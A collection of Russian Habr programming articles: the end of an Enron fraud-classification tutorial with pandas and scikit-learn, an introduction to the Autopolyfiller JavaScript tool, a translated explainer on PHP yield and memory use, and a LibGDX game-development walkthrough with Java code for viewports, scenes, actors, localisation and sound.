third_quartile = df.quantile(q=0.75)
IQR = third_quartile - first_quartile
outliers = df[(df > (third_quartile + 1.5 * IQR)) | (df < (first_quartile - 1.5 * IQR))].count(axis=1)
outliers.sort_values(axis=0, ascending=False, inplace=True)
outliers = outliers.head(10)
outliers
```
Одновременно с этим мы не будем удалять записи, что являются выбросами и относятся к подозреваемым в мошенничестве. Причина в том, что строк с такими данными всего 18, и мы не можем жертвовать ими, поскольку это может привести к недостатку примеров для обучения. Как следствие, мы удаляем только тех, кто не подозревается в мошенничестве, но при этом имеет большое число признаков, по которым наблюдаются выбросы:
```
target_for_outliers = target.loc[outliers.index]
outliers = pd.concat([outliers, target_for_outliers], axis=1)
non_poi_outliers = outliers[np.logical_not(outliers.poi)]
df.drop(non_poi_outliers.index, inplace=True)
```
Приведение к итоговом виду
--------------------------
Нормализуем наши данные:
```
from sklearn.preprocessing import scale
df[df.columns] = scale(df)
```
Приведем целевую переменную target к совместимому виду:
```
target.drop(non_poi_outliers.index, inplace=True)
target = target.map({True: 1, False: 0})
target.value_counts()
```
В итоге 18 подозреваемых и 121 тех, кто не попал под подозрение.
Отбор признаков
===============
Пожалуй один из наиболее ключевых моментов перед обучением любой модели — это отбор наиболее важных признаков.
Проверка на мультиколлинеарность
--------------------------------
```
import matplotlib.pyplot as plt
import seaborn as sns
%matplotlib inline
sns.set(style="whitegrid")
corr = df.corr() * 100
# Select upper triangle of correlation matrix
mask = np.zeros_like(corr, dtype=np.bool)
mask[np.triu_indices_from(mask)] = True
# Set up the matplotlib figure
f, ax = plt.subplots(figsize=(15, 11))
# Generate a custom diverging colormap
cmap = sns.diverging_palette(220, 10)
# Draw the heatmap with the mask and correct aspect ratio
sns.heatmap(corr, mask=mask, cmap=cmap, center=0,
linewidths=1, cbar_kws={"shrink": .7}, annot=True, fmt=".2f")
```
Как видно из изображения, у нас присутствует выраженная взаимосвязь между ‘loan\_advanced’ и ‘total\_payments’, а также между ‘total\_stock\_value’ и ‘restricted\_stock’. Как уже было упомянуто ранее, ‘total\_payments’ и ‘total\_stock\_value’ являются всего лишь результатом сложения всех показателей в конкретной группе. Поэтому их можно удалить:
```
df.drop(columns=['total_payments', 'total_stock_value'], inplace=True)
```
Создание новых признаков
------------------------
Также существует предположение, что подозреваемые чаще писали пособникам, нежели сотрудникам, которые были не замешаны в этом. И как следствие — доля таких сообщений должна быть больше, чем доля сообщений рядовым сотрудникам. Исходя из данного утверждения, можно создать новые признаки, отражающие процент входящих/исходящих, связанных с подозреваемыми:
```
df['ratio_of_poi_mail'] = df['from_poi_to_this_person']/df['to_messages']
df['ratio_of_mail_to_poi'] = df['from_this_person_to_poi']/df['from_messages']
```
Отсев лишних признаков
----------------------
В инструментарии людей, связанных с ML, есть множество прекрасных инструментов для отбора наиболее значимых признаков (SelectKBest, SelectPercentile, VarianceThreshold и др.). В данном случае будет использован RFECV, поскольку он включает в себя кросс-валидацию, что позволяет вычислить наиболее важные признаки и проверить их на всех подмножествах выборки:
```
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(df, target, test_size=0.2, random_state=42)
```
```
from sklearn.feature_selection import RFECV
from sklearn.ensemble import RandomForestClassifier
forest = RandomForestClassifier(random_state=42)
rfecv = RFECV(estimator=forest, cv=5, scoring='accuracy')
rfecv = rfecv.fit(X_train, y_train)
plt.figure()
plt.xlabel("Number of features selected")
plt.ylabel("Cross validation score of number of selected features")
plt.plot(range(1, len(rfecv.grid_scores_) + 1), rfecv.grid_scores_, '--o')
indices = rfecv.get_support()
columns = X_train.columns[indices]
print('The most important columns are {}'.format(','.join(columns)))
```
Как можно увидеть, RandomForestClassifier посчитал, что только 7 признаков из 18 имеют значение. Использование остальных приводит к снижению точности модели.
```
The most important columns are bonus, deferred_income, other, exercised_stock_options, shared_receipt_with_poi, ratio_of_poi_mail, ratio_of_mail_to_poi
```
Эти 7 признаков будут использованы в дальнейшем, дабы упростить модель и уменьшить риск переобучения:
* bonus
* deferred\_income
* other
* exercised\_stock\_options
* shared\_receipt\_with\_poi
* ratio\_of\_poi\_mail
* ratio\_of\_mail\_to\_poi
Изменим структуру обучающей и тестовой выборок для будущего обучения модели:
```
X_train = X_train[columns]
X_test = X_test[columns]
```
Это конец первой части, описывающей использование Enron Dataset в качестве примера задачи классификации в ML. За основу взяты материалы из курса Introduction to Machine Learning на Udacity. Также есть [python notebook](https://github.com/VeeSot/Enron-Fraud-Identify/blob/master/part1.ipynb), отражающий всю последовательность действий.
> Вторая часть находится [здесь](https://habr.com/post/425607/)
>
> | https://habr.com/ru/post/424891/ | null | ru | null |
# Autopolyfiller — Precise polyfills
В этой статье я хочу рассказать об инструменте Autopolyfiller, который помогает вам использовать последние функции ECMAScript и при этом не думать об подключаемых полифиллах.
К сожалению, не все пользователи используют самые современные браузеры, и зачастую нам приходится жертвовать читаемостью кода или использовать полифиллы, чтобы более-менее уравнять все браузеры и писать кроссбраузерный код.
Есть целый ряд способов исправить эту ситуацию:
#### lodash и underscore
Это достаточно популярный способ «починить» браузеры на сегодняшний день, плюс ко всему lodash приносит ряд полезных функций для работы с данными. К тому же он позволяет беречь нервы разработчиков, которые до сих пор боятся менять прототип базовых классов «во благо».
```
_.chain([1, 2, 3, 4])
.map(function (item) {
return item * item;
})
.filter(function (item) {
return item < 9;
})
.value();
```
Лично мне он не нравится из-за того, что lodash делает код «зашумленным». Но это дело каждого.
#### es5shim
es5shim чинит [практически все отсутствующие функции](https://github.com/es-shims/es5-shim#shims), которые были утверждены в спецификации ES5. Вам достаточно подключить файл [es5-shim.js](http://cdnjs.cloudflare.com/ajax/libs/es5-shim/3.4.0/es5-shim.js) и можно свободно пользоваться практически всеми благами EcmaScript 5.
```
[1, 2, 3, 4]
.map(function (item) {
return item * item;
})
.filter(function (item) {
return item < 9;
});
```
Такой код, безусловно, выглядит гораздо чище.
#### polyfill.io
Суть очень проста. Вы включаете в ваш html код скрипт, который динамически генерируется исходя из заголовка `User-Agent` браузера клиента и чинит все, что в нем поломано:
```
```
(не используйте эту ссылку в Production)
Способ достаточно интересный, но патчит все даже то, чего у вас в коде не используется. Плюс кому-то может не понравится динамическая генерация скриптов, но она достаточно дешевая если использовать кэширующий веб-север, хотя не совсем безопасная (см чужие кэширующие прокси).
Сам проект [polyfill](https://github.com/jonathantneal/polyfill).
#### Autopolyfiller
Предыдущие способы починки JavaScript имеют значительный недостаток. Они заставляют вас думать. Точнее самостоятельно разрешать все зависимости вашего кода, учитывая версии поддерживаемых браузеров (подключать какие-то дополнительные скрипты). Либо могут разбиться о реальность www. Да и именно по этому многие разработчики включают весь es5shim (без спец сборок) и боятся его отключить после отказа от поддержки IE8 (а мало ли что сломается). Проект постепенно обрастает лишними зависимостями и вычищать эти зависимости очень-очень больно.
Как вариант, можно создать какой-то файл в котором хранить все используемые ES5 методы. И при добавлении нового метода в код расширять этот файл, учитывая все версии поддерживаемых браузеров. Используя этот список, можно получить кастомную сборку es5shim. А как быть если мы повышаем версию браузеров, удаляем используемый метод? Писать скрит? В общем, шило на мыло.
Если посмотреть с другой стороны, то ваш код — это и есть тот самый файл со списком зависимостей, просто этот список не явный:
```
[1, 2, 3, 4]
.map(function (item) {
return item * item;
})
.filter(function (item) {
return item < 9;
});
```
Мы можем легко понять, что в этом коде используется 2 функции из ES5: `Array.prototype.map` и `Array.prototype.filter`.
Нам достаточно научить робота находить в нашем коде зависомости и мы получим возможность автоматически «патчить» наш код только нужными полифиллами. Огромный плюс в том, что данный список зависимостей сам очищается и сам расширяется по ходу изменения вашего кода.
Из этой простой идеи родился проект Autopolyfiller, который помогает вам не думать. Как вы уже заметили его название схоже с [Autoprefixer](https://github.com/ai/autoprefixer), который исповедует те же принципы, но касательно CSS.
Алгоритм работы Autopolyfiller очень прост:
— Вы определяете список браузеров, которые поддерживает ваш проект (это не оябзательно)
— Скармливаете Autopolyfiller'у ваш код
— Autopolyfiller разбирает AST и находит методы ES\*
— Убирает методы, которые вам не нужны, используя список браузеров
— Вы получаете код с полифиллами
Из-за того, что JavaScript это интерпретируемый язык, Autopolyfiller может промахнуться в некоторых очень граничных случаях.
— В этом коде `$('div').map()` он найдет `Array.prototype.map`.
— В этом коде `eval('Object.keys(this)')` и этом коде `Object['k' + 'eys']()` он ничего не найдет.
Но если не делать ничего странного и не использовать eval-подобные структуры, то его точность будет достаточно высока.
Autopolyfiller из коробки поддерживает только безопасные, кроссбраузерные и стабильные полифилы (ES6 нет), которые берутся из [открытой «базы данных» полифиллов](https://github.com/jonathantneal/polyfill/tree/master/source). Однако вы можете с легкостью его расширять своими.
Кроме консольной утилиты и API, на данный момент написаны таски под [Gulp](https://github.com/azproduction/gulp-autopolyfiller/), [Grunt](https://github.com/azproduction/grunt-autopolyfiller/) и [Enb](https://github.com/enb-make/enb-autopolyfiller/). Так, что вы можете легко прикрутить Autopolyfiller в ваш сборочный процесс уже сегодня. А если вы все еще сомневаетесь — попробуйте [демку](http://azproduction.ru/autopolyfiller/)!
Ссылки:
— [Проект Autopolyfiller на Github](https://github.com/azproduction/autopolyfiller)
— [Качество кода Autopolyfiller](https://codeclimate.com/github/azproduction/autopolyfiller/code)
— [Демо Autopolyfiller](http://azproduction.ru/autopolyfiller/)
Буду рад ответить на все ваши вопросы. | https://habr.com/ru/post/229001/ | null | ru | null |
# “Yield” и деликатная работа с памятью в PHP
https://pixabay.comВы когда-нибудь задавались вопросом: “Какая польза от ***yield*** в PHP?”. Позвольте мне избавить вас от поиска в Google; Я с удовольствием раскрою вам пару ключевых моментов о ***yield***:
1. Что такое ***yield***.
2. Различия между ***yield*** и ***return***.
3. Варианты использования ***yield***.
4. Заключение.
5. Ссылки.
### 1. Что такое “yield”
> *Функция-генератор выглядит так же, как и обычная функция, за исключением того, что вместо всего лишь одного значения генератор вырабатывает (yields) столько значений, сколько ему нужно.*
>
>
Взгляните на следующий пример:
```
function getValues() {
yield 'value';
}
// вывод строки "value"
echo getValues();
```
Конечно, это не будет работать. Предыдущий пример выдаст ошибку: `Object of class Generator could not be converted to string`. Позвольте мне объяснить почему:
### 2. Различия между “yield” и “return”
Полученная ошибка говорит нам о том, что функция `getValues()` не возвращает строку, как мы могли бы этого ожидать. Давайте проверим ее тип:
```
function getValues() {
return 'value';
}
var_dump(getValues()); // string(5) "value"
function getValues() {
yield 'value';
}
var_dump(getValues()); // class Gene(0) {}rator#1
```
Класс [**Generator**](http://php.net/manual/en/class.generator.php) реализует интерфейс [**Iterator**](http://php.net/manual/en/class.iterator.php), поэтому для получения значений вам необходимо проитерировать по результатам функции `getValue()`:
```
foreach (getValues() as $value) {
echo $value;
}
// можно также сделать это через переменную
$values = getValues();
foreach ($values as $value) {
echo $value;
}
```
Но различия на этом не заканчиваются!
> *Генератор позволяет вам писать код с использованием оператора foreach для итерации по набору данных без необходимости создавать в памяти массив, что, однако, может приводить к превышению лимита памяти.*
>
>
В следующем примере мы создадим массив из 800000 элементов и вернем его из функции `getValues()`, контролируя память, выделенную для этого фрагмента кода, с помощью функции [memory\_get\_usage()](http://php.net/manual/en/function.memory-get-usage.php). Мы будем запрашивать потребление памяти через каждые 200000 добавленных элементов, что означает, что контрольных точек будет четыре:
```
php
function getValues() {
$valuesArray = [];
// get the initial memory usage
echo round(memory_get_usage() / 1024 / 1024, 2) . ' MB' . PHP_EOL;
for ($i = 1; $i < 800000; $i++) {
$valuesArray[] = $i;
// let us do profiling, so we measure the memory usage
if (($i % 200000) == 0) {
// get memory usage in megabytes
echo round(memory_get_usage() / 1024 / 1024, 2) . ' MB'. PHP_EOL;
}
}
return $valuesArray;
}
$myValues = getValues(); // building the array here once we call the function
foreach ($myValues as $value) {}</code
```
Вот такие результаты потребления памяти мы получили для примера, приведенного выше:
```
0.34 MB
8.35 MB
16.35 MB
32.35 MB
```
Несколько строк нашего кода потребляют более 30 мегабайт памяти. Каждый раз, когда мы добавляем элемент в массив `$valuesArray`, мы увеличиваем его размер в памяти.
Давайте рассмотрим тот же пример, только с использованием ***yield***:
```
php
function getValues() {
// get the initial memory usage
echo round(memory_get_usage() / 1024 / 1024, 2) . ' MB' . PHP_EOL;
for ($i = 1; $i < 800000; $i++) {
yield $i;
// let us do profiling, so we measure the memory usage
if (($i % 200000) == 0) {
// get memory usage in megabytes
echo round(memory_get_usage() / 1024 / 1024, 2) . ' MB'. PHP_EOL;
}
}
}
$myValues = getValues(); // no action taken until we loop over the values
foreach ($myValues as $value) {} // start generating values here</code
```
Результат для этого варианта кода может вас поразить:
```
0.34 MB
0.34 MB
0.34 MB
0.34 MB
```
Конечно это не означает, что вам нужно повсеместно переходить от ***return*** к ***yield***, но если в своем приложении вы создаете огромные массивы, которые могут вызывать проблемы с памятью на сервере, ***yield*** однозначно будет решением вашей проблемы.
### 3. Варианты использования “yield”
Существует много вариантов использования ***yield***, но я выделю пару из них:
* a. Используя ***yield***, вы также можете использовать ***return***:
```
function getValues() {
yield 'value';
return 'returnValue';
}
$values = getValues();
foreach ($values as $value) {}
echo $values->getReturn(); // 'returnValue'
```
* b. Возврат пар ключ-значение:
```
function getValues() {
yield 'key' => 'value';
}
$values = getValues();
foreach ($values as $key => $value) {
echo $key . ' => ' . $value;
}
```
Подробнее об этом можно почитать [здесь](http://php.net/manual/en/language.generators.syntax.php).
### 4. Заключение
Основная цель этой статьи - показать на примерах, в чем разница между ***yield*** и ***return*** в контексте потребления памяти. По моему мнению, это очень важно знать каждому разработчику.
### 5. Ссылки
1. <http://php.net/manual/en/language.generators.syntax.php>
2. <http://php.net/manual/en/class.generator.php>
3. <http://php.net/manual/en/language.generators.php>
4. <http://php.net/manual/en/function.memory-get-usage.php>
---
*Данная статья переведена в преддверии старта курса PHP Developer. Basic. Узнать подробнее о курсе* [*можно по ссылке*](https://otus.pw/VjBc/)*.* | https://habr.com/ru/post/598577/ | null | ru | null |
# Чему я научился делая игры на LibGDX
Привет, Хабр! 👋 В этом топике хочу поговорить о незаслуженно забытом, бесплатном фреймворке для разработки кросс-платформенных игр - LibGDX. Поделиться секретами своей кухни и решениями, которые я использую при разработке своих игр-головоломок. Ворнинг! Много кода под катом.
---
Экран
-----
Начать, наверное, нужно с вьюпорта - того как игра будет выглядеть и масштабироваться на различных устройствах. Моя основная цель - это мобильные устройства, Android / iOS. Соответственно, актуальные соотношения сторон экрана будут плавать между 19.5:9 и 4:3. Узкие и более квадратные экраны, смартфоны и планшеты, проще говоря.
В LibGDX есть несколько видов вьюпортов. Нас интересует `FillViewport`, потому что он сохраняет соотношение сторон, не растягивая и не сжимая игровой мир на экране устройства. Как это работает? Да просто картинка обрезается сверху-снизу, когда реальное соотношение сторон экрана не соответствует "базовому". То есть на планшете мы будем видеть полную картину, больше декораций, а на смартфоне такую же по ширине, но несколько обрезанную по высоте.
Обратите внимание на кнопку выходаИз этого, получаем один ключевой принцип: при размещении игровых объектов, мы должны следить за тем, чтобы все важное/интерактивное размещалось в "игровой области" - части игрового мира, которая видна всегда, на любом устройстве. Также, есть возможность в рантайме определить фактический верх-низ экрана, чтобы "прикрепить" к нему какие-то объекты. Например: кнопку меню, счетчик очков и т.п. Далее, я покажу как это сделать.
Настала пора разбавить текст кодом. Основной класс игры, наследуемый от `ApplicationAdapter`, отвечает за отрисовку каждого кадра, в нем крутится и "игровой цикл" - код оживляющий мир, передвигающий объекты, меняющий кадры анимации и т.д. Все это происходит в методе `render()`.
```
public class GdxGame extends ApplicationAdapter {
private OrthographicCamera camera;
private Viewport viewport;
private SimpleStage stage;
private AssetManager manager;
private Snd sound;
public static GdxGame self() {
return (GdxGame) Gdx.app.getApplicationListener();
}
@Override
public void create() {
camera = new OrthographicCamera();
viewport = new FillViewport(GdxViewport.WORLD_WIDTH, GdxViewport.WORLD_HEIGHT, camera);
manager = new AssetManager();
sound = new Snd();
final SimpleStage splash = new Splash(viewport);
splash.load();
setStage(splash);
}
public void setStage(SimpleStage stage) {
this.stage = stage;
}
@Override
public void render() {
Gdx.gl.glClear(GL20.GL_COLOR_BUFFER_BIT); // очищаем экран
if (stage != null) {
stage.act();
stage.draw();
}
}
@Override
public void resize(int width, int height) {
viewport.update(width, height, true);
GdxViewport.resize(width, height);
}
}
```
Из интересного: здесь есть статический метод `self()` - для удобства получения главного класса из любого места игры. А уже через его поля, мы можем взаимодействовать с различными вспомогательными классами, такими как менеджер ресурсов, звук, хранимые настройки, переменные игровой сессии, в общем, все что нам может пригодиться.
Событие `resize()` вызывается один раз при запуске приложения и его я использую как раз для того чтобы получить реальные `TOP` и `BOTTOM` экрана в игровых координатах. Обратите внимание на размеры игрового мира - 1280х960, исходя из этого разрешения подготавливается и вся графика. Такого разрешения, на мой взгляд, вполне достаточно как компромисса между качеством графики и разумным размером текстурных атласов.
```
public class GdxViewport {
public static final float WORLD_WIDTH = 1280f;
public static final float WORLD_HEIGHT = 960f;
public static float TOP;
public static float BOTTOM;
public static float HEIGHT;
public static void resize(int width, int height) {
float ratio = (float) height / width;
float viewportHeight = WORLD_WIDTH * ratio;
BOTTOM = (WORLD_HEIGHT - viewportHeight) / 2;
TOP = BOTTOM + viewportHeight;
HEIGHT = TOP - BOTTOM;
}
}
```
Сцена
-----
Каждый игровой такт, метод `render()` вызывает у текущий сцены методы `act()` и `draw()`. Первый дает возможность игровым объектам двигаться, а не оставаться статичным изображением, второй - отрисовывает содержимое сцены на экран.
Я использую один базовый класс для всех сцен игры - `SimpleStage`. Он реализует события для загрузки / выгрузки ресурсов и размещения объектов на сцене. Здесь же переход между сценами и работа со всплывающими диалогами (подтверждение выхода, найден предмет, использовать предмет и тому подобное). Они у меня в игре повсеместно, поэтому вынесены в базовый класс для всех сцен.
```
public class SimpleStage extends Stage {
private Label loading;
private boolean ready;
public SimplePopup popup;
public Actor blind;
public Group content;
public SimpleStage(Viewport viewport) {
super(viewport);
content = new Group();
content.setSize(GdxViewport.WORLD_WIDTH, GdxViewport.WORLD_HEIGHT);
blind = new SimpleActor((int) GdxViewport.WORLD_WIDTH, (int) GdxViewport.WORLD_HEIGHT, new Color(0, 0, 0, 1));
loading = new Label(Loc.getString(Loc.LOADING), GdxGame.self().getFontStyle());
loading.setAlignment(Align.right);
loading.setPosition(GdxViewport.WORLD_WIDTH - loading.getWidth() - 15f, GdxViewport.BOTTOM + 10f);
addActor(content);
addActor(blind);
addActor(loading);
}
public void openPopup(SimplePopup nPopup) {
if (popup != null) {
return;
}
popup = nPopup;
popup.setPosition(GdxViewport.WORLD_WIDTH / 2 - popup.getWidth() / 2, GdxViewport.WORLD_HEIGHT / 2 - popup.getHeight() / 2);
blind.addAction(Actions.sequence(
Actions.alpha(.6f, .3f),
Actions.run(new Runnable() {
@Override
public void run() {
addActor(popup);
}
})
));
}
public void closePopup(final int onCloseAction) {
if (popup != null) {
popup.clear();
popup.remove();
popup = null;
}
blind.addAction(Actions.sequence(
Actions.alpha(0f, .3f),
Actions.run(new Runnable() {
@Override
public void run() {
onPopupClose(onCloseAction);
}
})
));
}
public void onPopupClose(int action) {
}
public void load() {
Gdx.app.log(GdxGame.TAG, "Load stage: " + getClass().getSimpleName());
}
public void unload() {
Gdx.app.log(GdxGame.TAG, "Unload stage: " + getClass().getSimpleName());
}
public void populate() {
Gdx.app.log(GdxGame.TAG, "Populate stage: " + getClass().getSimpleName());
}
public void transitionTo(final SimpleStage stage) {
Gdx.input.setInputProcessor(null);
stage.load();
blind.addAction(Actions.sequence(
Actions.alpha(1, .4f),
Actions.run(new Runnable() {
@Override
public void run() {
unload();
dispose();
GdxGame.self().setStage(stage);
}
})
));
}
private void show() {
Gdx.app.log(GdxGame.TAG, "Show stage: " + getClass().getSimpleName());
populate();
blind.addAction(Actions.sequence(
Actions.alpha(0, .4f),
Actions.run(new Runnable() {
@Override
public void run() {
onFocus();
}
})));
}
public void onFocus() {
Gdx.input.setInputProcessor(this);
}
@Override
public void act(float delta) {
super.act(delta);
if (!ready && GdxGame.getManager().update()) {
ready = true;
loading.setVisible(false);
show();
}
}
}
```
Я загружаю ресурсы для каждой сцены при переходе на нее. Нужно сказать, что стратегии загрузки ресурсов могут быть разные: можно грузить все при старте игры (для небольших игр), можно разделить ресурсы на общие и подгружаемые по мере необходимости. Я, со временем, пришел к такой схеме: грузим все что нужно для сцены при ее инициализации переопределяя событие `load()` и выгружаем в `unload()`, когда игрок покидает сцену. Минус такого подхода в загрузке ресурсов при каждом переходе между сценами. Но так как ресурсы у меня не особо тяжеловесные, этих загрузок почти не видно.
Ну а плюс, в том что мы держим в памяти только необходимое в текущий момент и можем стартовать игру с любой сцены. В LibGDX нет визуального редактора, как в том же Unity, где мы могли бы отлаживать сцену в процессе работы. Поэтому, возможность запустить сразу нужную сцену, а не прокликивать игру до нее, будет полезна.
Для этого я использую параметры командной строки, которые анализирую в `DesktopLauncher` классе отвечающем за запуск игры на ПК. Здесь мы можем запускать игру в окне 16:9 / 4:3, либо в полноэкранном режиме, выводить/не выводить FPS, ну и собственно параметр `-stage` отвечающий за то, какая сцена будет инициализирована после splash screen.
```
public class DesktopLauncher {
private static final String FULL_SIZE = "-full";
private static final String WINDOWED_MODE = "-windowed";
private static final String STAGE = "-stage";
public static void main(String[] arg) {
LwjglApplicationConfiguration config = new LwjglApplicationConfiguration();
// 16:9 (default)
config.width = 800;
config.height = 450;
boolean windowed = false;
for (int i = 0; i < arg.length; i++) {
if (arg[i].equals(FULL_SIZE)) {
// 4:3
config.height = 600;
} else if (arg[i].equals(WINDOWED_MODE)) {
windowed = true;
} else if (arg[i].equals(STAGE)) {
if (i + 1 < arg.length) Prefs.STAGE = arg[i + 1];
}
}
if (!windowed) {
config.width = LwjglApplicationConfiguration.getDesktopDisplayMode().width;
config.height = LwjglApplicationConfiguration.getDesktopDisplayMode().height;
config.fullscreen = true;
}
new LwjglApplication(new GdxGame(new DesktopPlatform()), config);
}
}
```
Осталось добавить обработку этого параметра в сцене `Splash`:
```
@Override
public void onFocus() {
super.onFocus();
addAction(Actions.sequence(
Actions.delay(1.8f),
Actions.run(new Runnable() {
@Override
public void run() {
SimpleStage stage = new Intro(getViewport());
if (Prefs.STAGE != null) {
try {
Class roomClass = Class.forName("com.puzzle.stage." + Prefs.STAGE);
Constructor constructor = roomClass.getConstructor(Viewport.class);
stage = (SimpleStage) constructor.newInstance(getViewport());
} catch (Exception e) {
e.printStackTrace();
}
}
transitionTo(stage);
}
})
));
}
```
Ну а дальше, просто настраиваем нужные нам конфигурации запуска. Кстати, забыл сказать что для разработки используется Android Studio. У меня это окно выглядит вот так:
Мотор!.. То есть Актер :)
-------------------------
В LibGDX все объекты на сцене являются наследниками класса `Actor`. Но он совсем базовый и почти ничего не умеет. Поэтому я сделал собственное его расширение, от которого уже и наследуются все объекты в игре. По традиции, я назвал его `SimpleActor`. Вы уже могли заметить его использование в `SimpleStage` выше. Основная его функция - рисовать спрайт на сцене, либо примитив - квадрат, линию заданного цвета и т.п.
```
public class SimpleActor extends Actor {
public final TextureRegion region;
private Rectangle clipBounds;
public SimpleActor(TextureRegion region) {
this.region = region;
setSize(region.getRegionWidth(), region.getRegionHeight());
setBounds(0, 0, getWidth(), getHeight());
}
public SimpleActor(int width, int height, Color color) {
Pixmap pixmap = new Pixmap(width, height, Pixmap.Format.RGBA4444);
pixmap.setColor(color);
pixmap.fillRectangle(0, 0, width, height);
Texture texture = new Texture(pixmap);
texture.setFilter(Texture.TextureFilter.Linear, Texture.TextureFilter.Linear);
region = new TextureRegion(texture);
pixmap.dispose();
setSize(width, height);
setBounds(0, 0, width, height);
}
public void enableClipping(Rectangle clipBounds) {
this.clipBounds = clipBounds;
}
public Polygon getHitbox() {
final Polygon polygon = new Polygon(new float[]{0, 0, getWidth(), 0, getWidth(), getHeight(), 0, getHeight()});
polygon.setPosition(getX(), getY());
polygon.setOrigin(getOriginX(), getOriginY());
polygon.setScale(getScaleX(), getScaleY());
polygon.setRotation(getRotation());
return polygon;
}
@Override
public void draw(Batch batch, float parentAlpha) {
Color color = getColor();
batch.setColor(color.r, color.g, color.b, color.a * parentAlpha);
if (clipBounds != null) {
Rectangle scissors = new Rectangle();
final Viewport viewport = getStage().getViewport();
ScissorStack.calculateScissors(getStage().getCamera(), viewport.getScreenX(), viewport.getScreenY(), viewport.getScreenWidth(), viewport.getScreenHeight(), batch.getTransformMatrix(), clipBounds, scissors);
ScissorStack.pushScissors(scissors);
}
batch.draw(region, getX(), getY(), getOriginX(), getOriginY(), getWidth(), getHeight(), getScaleX(), getScaleY(), getRotation());
if (clipBounds != null) {
batch.flush();
ScissorStack.popScissors();
}
}
}
```
Из интересного: метод `getHitbox()` для проверки коллизий (столкновений с другими объектами класса `SimpleActor`). Вообще, решение создавать каждый раз полигон для этого - спорное. Но в моих играх, проверка коллизий идет во взаимодействиях типа drag-and-drop, проверяем поставил ли игрок предмет на нужное место для его использования, например. То есть получение хитбокса не очень активно вызывается, поэтому такое решение приемлемо. В результате, код на проверку коллизии выглядит так:
```
if (Intersector.overlapConvexPolygons(battery.getHitbox(), box.getHitbox())) {
// some actions
}
```
Второе - это метод `enableClipping()` - маска, правда, только прямоугольная. Говоря образно, это прорезь в границах которой, спрайт будет отрисовываться, а вне ее, будет не виден. Бывает полезно, когда надо сделать какой-нибудь выдвигающийся, например объект, не подкладывая спрайты друг под друга.
Прочие полезности
-----------------
Еще одна, необходимая почти в любой игре вещь - это локализация. Я храню все строковые ресурсы в xml файлах с именами типа `strings_lang_code.xml`. В моих играх язык можно менять динамически, в настройках игры. Это, конечно, разрушает концепцию Android App Bundle с загрузкой из стора только нужных ресурсов для конкретного устройства, локации и т.д., но позволяет пользователю иметь более гибкие языковые настройки.
```
public static void loadStringsAndFont() {
final String langCode = Prefs.getLanguage();
final AssetManager manager = GdxGame.getManager();
final FileHandleResolver resolver = new InternalFileHandleResolver();
manager.setLoader(FreeTypeFontGenerator.class, new FreeTypeFontGeneratorLoader(resolver));
manager.setLoader(BitmapFont.class, ".ttf", new FreetypeFontLoader(resolver));
final FreetypeFontLoader.FreeTypeFontLoaderParameter size2Params = new FreetypeFontLoader.FreeTypeFontLoaderParameter();
final FontParams params = FontParams.BY_CODE.get(langCode);
size2Params.fontFileName = "font/" + params.fontFileName;
size2Params.fontParameters.size = params.size;
size2Params.fontParameters.characters = params.characters;
if (!manager.isLoaded(params.fontFileName)) {
manager.load(params.fontFileName, BitmapFont.class, size2Params);
manager.finishLoading();
Gdx.app.log(GdxGame.TAG, "Loaded font: " + params.fontFileName);
}
VALUES.clear();
String langFile = ("xml/strings_" + langCode + ".xml").toLowerCase();
try {
XmlReader reader = new XmlReader();
XmlReader.Element root = reader.parse(Gdx.files.internal(langFile).reader("UTF-8"));
for (int i = 0; i < root.getChildCount(); ++i) {
XmlReader.Element element = root.getChild(i);
VALUES.put(element.getAttribute("name"), element.getText());
}
Gdx.app.log(GdxGame.TAG, "Loaded strings from file: " + langFile);
} catch (Exception e) {
Gdx.app.log(GdxGame.TAG, "Error loading strings file: " + langFile);
}
}
```
При старте игры, определяем код языка из настроек устройства, либо берем ранее установленный игроком вручную код языка (он имеет более высокий приоритет). Читаем соответствующий xml файл и помещаем строки в `HashMap`. Из кода, установка какой-нибудь надписи выглядит примерно так:
```
final Label text = new Label(Loc.getString(Loc.EXIT_CONFIRM), GdxGame.self().getFontStyle());
```
Настройки параметров шрифта, я храню в классе `FontParams`. Он ничем особо не примечателен, просто класс для хранения связки "код языка" - "файл шрифта, размер, алфавит".
Ну и последнее, что я хотел бы показать в рамках этого топика - это работа со звуком. Класс для работы со звуком умеет плавно включать / выключать музыку, автоматически проигрывать разные семплы из одного набора звуков, например, шаги или нажатия. Для этого достаточно в ресурсы поместить все однотипные звуки, добавив счетчик в конце: "glass\_tap\_1", "glass\_tap\_2" и т.д. Я использую формат звуковых файлов mp3 для iOS и ogg на всех остальных платформах, метод `getPath()` нужен для того чтобы правильно определить расширение файла.
```
public class Snd {
private static final HashMap VOLUME = new HashMap() {
{
put(mus\_puzzle, .7f);
}
};
private static final HashMap COUNTER\_MAX = new HashMap() {
{
put(glitch, 3);
}
};
private HashMap counterMap = new HashMap() {
{
put(glitch, 1);
}
};
private HashMap musicMap = new HashMap();
public static String getPath(String name) {
if (Gdx.app.getType() == Application.ApplicationType.iOS) return "mp3/" + name + ".mp3";
return "ogg/" + name + ".ogg";
}
private void musicFadeIn(final Music music, final float volume) {
Timer.schedule(new Timer.Task() {
@Override
public void run() {
if (music.getVolume() < volume)
music.setVolume(music.getVolume() + .01f);
else {
this.cancel();
}
}
}, 0f, .01f);
}
private void musicFadeOut(final Music music, final String path) {
Timer.schedule(new Timer.Task() {
@Override
public void run() {
if (music.getVolume() >= .01f)
music.setVolume(music.getVolume() - .01f);
else {
music.stop();
musicMap.remove(path);
this.cancel();
}
}
}, 0f, .01f);
}
public void playSound(String name) {
if (counterMap.containsKey(name)) {
int counter = counterMap.get(name);
String fullName = name + "\_" + counterMap.get(name);
counter++;
if (counter > COUNTER\_MAX.get(name)) {
counter = 1;
}
counterMap.put(name, counter);
name = fullName;
}
GdxGame.getManager().get(getPath(name), Sound.class).play();
}
public void playMusic(String name, boolean force, boolean once) {
final String path = getPath(name);
final AssetManager manager = GdxGame.getManager();
Music music = musicMap.get(path);
if (music == null) {
music = manager.get(path, Music.class);
musicMap.put(path, music);
}
if (music.isPlaying()) return;
music.setLooping(!once);
music.setVolume(0);
music.play();
float volume = VOLUME.containsKey(name) ? VOLUME.get(name) : 1;
if (force) {
music.setVolume(volume);
} else {
musicFadeIn(music, volume);
}
}
public void stopMusic(String name, boolean force) {
final String path = getPath(name);
if (!musicMap.containsKey(path)) return;
if (force) {
musicMap.get(path).stop();
musicMap.remove(path);
} else {
musicFadeOut(musicMap.get(path), path);
}
}
}
```
